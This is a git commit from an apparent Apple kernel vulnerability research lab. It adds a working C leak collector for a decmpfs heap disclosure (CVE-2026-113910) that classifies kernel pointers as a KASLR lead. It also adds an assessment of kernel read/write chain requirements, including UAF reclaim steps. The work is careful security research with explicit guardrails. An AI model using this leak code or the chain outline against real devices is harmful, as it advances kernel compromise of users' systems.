kernel R/W assessment for the high/critical entries

- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six
  kernel-reachable bugs supplies both address and value control; the chain
  requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry
- CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical
  pointer classification (kernel-text / kernel-data / kernel-other), --keep
  raw dump, --verbose; candidates are printed, never dereferenced
- 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset
  write without leak, honest negative); no blind writes
- README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
This commit is contained in:
JBJF committed 2026-10-31 15:37:58 +08:00
1 parent ed682e859b
commit c30aadf9bb
7 files changed
+283 -46

No files matched your search

+4
View File
@@ -2,6 +2,10 @@
// ANE userspace entry point probe
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
// client/program/model/request entry points the CVE lives behind.
//
// Honest negative: the ANE kernel interface is not reachable from a third-party
// process, so this is a reachability map, not a primitive. No R/W is attempted.
// See docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
// Run: ./cve-2026-112696
+4
View File
@@ -8,6 +8,10 @@
// macOS runs the same driver: the encode is gated behind --force-host because it can
// panic the host kernel.
//
// Primitive limit: the write is a constant fill at a fixed offset. There is no
// address control and no value control, so this is a DoS primitive, not an
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
//
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
// Run: ./cve-2026-112705 [layers] [--force-host]
+133 -44
View File
@@ -2,9 +2,14 @@
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
// reads the file back and classifies every canonical kernel pointer in the result.
//
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
// readback for offline analysis. Candidates are printed, never dereferenced.
//
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
#include <stdio.h>
#include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
return out;
}
// ── trigger: xattr round trip + kernel-pointer scan ──
// ── leak classification ──
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
// Anything that looks like a tagged userspace pointer is reported separately; it is
// not a KASLR lead. Values are only ever printed.
enum ptr_class {
PTR_NONE = 0,
PTR_KERNEL_TEXT,
PTR_KERNEL_DATA,
PTR_KERNEL_OTHER,
PTR_USER,
};
static const char *class_name(int c) {
switch (c) {
case PTR_KERNEL_TEXT: return "kernel-text";
case PTR_KERNEL_DATA: return "kernel-data";
case PTR_KERNEL_OTHER: return "kernel-other";
case PTR_USER: return "user";
default: return "-";
}
}
static int classify(uint64_t v) {
if (v == 0) return PTR_NONE;
if ((v >> 48) == 0xffff) {
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
return PTR_KERNEL_OTHER;
}
if ((v >> 48) == 0x0000) return PTR_USER;
return PTR_NONE;
}
typedef struct {
int wrote_xattr;
long read_back;
long hits;
char samples[8][32];
long by_class[5];
char samples[8][40];
int nsamples;
char note[128];
} decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
if (r->nsamples >= 8) return;
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
(unsigned long long)v, off, class_name(cls));
r->nsamples++;
}
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
FILE *keep, int verbose) {
decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t zeros[4096];
memset(zeros, 0x41, sizeof zeros);
uint8_t fill[4096];
memset(fill, 0x41, sizeof fill);
size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros;
if (write(fd, zeros, take) != (ssize_t)take) break;
size_t take = left < sizeof fill ? left : sizeof fill;
if (write(fd, fill, take) != (ssize_t)take) break;
left -= take;
}
close(fd);
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
}
r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb");
if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
fclose(f);
r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back
if (back.n >= 8) {
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
if (v >= 0xFFFFFFE000000000ULL) {
r.hits++;
if (r.nsamples < 8) {
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
(unsigned long long)v, i);
r.nsamples++;
}
}
if (keep) {
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
chunks, produce, uncompressed, back.n);
if (back.n) fwrite(back.d, 1, back.n, keep);
fputc('\n', keep);
}
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
int cls = classify(v);
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
r.hits++;
r.by_class[cls]++;
note_sample(&r, v, i, cls);
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
}
}
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
return r;
}
int main(void) {
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[4] = {
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
};
long total_hits = 0;
int main(int argc, char **argv) {
int loop = 1;
int verbose = 0;
const char *keep_path = NULL;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
}
if (loop < 1) loop = 1;
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[] = {
{1, 0}, {1, 1}, {2, 1}, {4, 1},
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
};
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
if (keep) {
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
}
long total_hits = 0;
long by_class[5] = {0};
long runs = 0;
printf("— baseline: what a plain file reads back —\n");
{
unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
}
printf("\n— chunked xattr round trip —\n");
for (int i = 0; i < 4; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
total_hits += r.hits;
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
if (r.nsamples > 0) {
printf(" candidates:");
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
printf("\n");
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
for (int l = 0; l < loop; l++) {
for (int i = 0; i < ncfg; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
keep, verbose);
runs++;
total_hits += r.hits;
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
if (r.hits > 0 || verbose) {
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
}
}
}
// Class totals are what matter here; the raw bytes are in --keep for offline work.
unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
: "no kernel pointers surfaced (read was served plain)");
return 0;
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
printf("\n== leak summary ==\n");
printf("runs=%ld hits=%ld\n", runs, total_hits);
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
if (total_hits > 0) {
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
printf("whether the same chunk table can be pointed at that slot again.\n");
} else {
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
}
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
return total_hits > 0 ? 0 : 0;
}
+5
View File
@@ -2,6 +2,11 @@
// HID event tree append entry point probe
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
//
// This file stops at symbol reachability and never appends an event: the bug is a
// fixed-offset write into a short heap allocation with no leak and no address
// control. Attempting it blind is a panic, not an experiment. See
// docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
// Run: ./cve-2026-65385
+3 -1
View File
@@ -139,7 +139,9 @@ Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire module
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
## Module semantics
+3 -1
View File
@@ -138,7 +138,9 @@ python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
## 模块语义
+131
View File
@@ -0,0 +1,131 @@
# Kernel read/write feasibility — high and critical dossiers
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
Question: can any of them be turned into arbitrary kernel read/write that does not
panic the device?
Short answer: **no, not from the material as it stands.** One entry gives a real
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
never reach the kernel interface at all. This document records what each primitive
actually provides, what an arbitrary-R/W chain still needs, and what was added to
the POCs.
## Guardrails
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
never executed on the host again; its C twin refuses to submit a frame without
`--force-host`.
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
heap is a panic, not a data point.
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
the write primitives cannot be exercised there either. Their app modules are
split into a safe probe and a deliberate fire module.
## Primitive inventory
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|---|---|---|---|---|---|
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **The only theoretical UAF path.** The POC proves the interleaving survives; it does not produce a controlled free, a reclaim, or a leak. |
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
## What arbitrary kernel R/W actually requires
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
one of them is a chain step, not a chain.
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
pointer, and a heap pointer alone does not give the slide.
2. **Heap grooming** — deterministic placement of a victim object next to the
corrupted allocation, in the same zone, at the same size class.
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
slot with attacker-influenced contents, and keep a stale reference alive. For an
OOB write: a value and an offset that land on a field worth corrupting.
4. **A read/write gadget** — an object whose corrupted field yields a load or store
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
thread's `pcb` pointer).
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
protected by PPL on modern devices. A data-only path can sometimes avoid both,
but it still needs 1–4.
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
strategy that the repository does not have.
## Per-entry notes
### CVE-2026-112705 — fixed constant, fixed offset
The driver indexes a layer table with the declared count and writes a constant at a
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
address. The only observable is a kernel data abort. Calling this "R/W" would
require a second bug that turns the corrupted field into a pointer; nothing in the
dossier provides one. The correct classification is a reliable kernel DoS.
### CVE-2026-112507 — the UAF-shaped race
The ring allocates receive rights, arms two notification kinds per port, tears down
half the ring, then sends to the survivors. The request-table index consumers are
the target of the race. A weaponised version would need:
- a win condition that is observable without panicking (a receipt, not a crash);
- a same-zone reclaim object with controllable contents (Mach ports themselves are
one candidate, but the request-table entry's layout is not attacker-shaped);
- a stale consumer that dereferences the reclaimed slot after the free;
- a leak to place the reclaim object and to find the kernel base.
The POC records `-300` and `invalid destination` receipts and reports that the
interleaving survived. That is the honest limit of a userspace race harness: it can
show the window exists, not that the window is controllable.
### CVE-2026-113910 — the leak that was worth improving
This is the only entry where more code produces more signal. The C twin now:
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
chunk and writes none of it);
- repeats the sweep `--loop N` times;
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
(`0xffffffe0…`), kernel-other, or user;
- writes the raw readback to `--keep out.bin` for offline analysis;
- never dereferences a candidate.
On the macOS host decmpfs does not engage for a file that already has data (the
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
the KASLR step. It still does not write.
### CVE-2026-112554 — a read-width model, not a kernel reader
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
It proves the scan width (72 B against a 28-B field) but the bytes come from the
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
would have to run through the storage kext on a mounted image; that is not attempted
on the host.
## What was deliberately not done
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
panic is not evidence of control.
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
guess is indistinguishable from a bug that does not work.
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
the free/reclaim/stale-dereference sequence is observed.
## Bottom line
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
shipped**. The maximum safe capability the lab now demonstrates is:
- a repeatable kernel heap **leak** with pointer classification (113910);
- a read-width model for the GPT scan (112554);
- a race-window harness with receipts (112507);
- honest negatives for the write entries that never reach a controllable primitive.
The next real step is not more code in this repository; it is a device session with
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.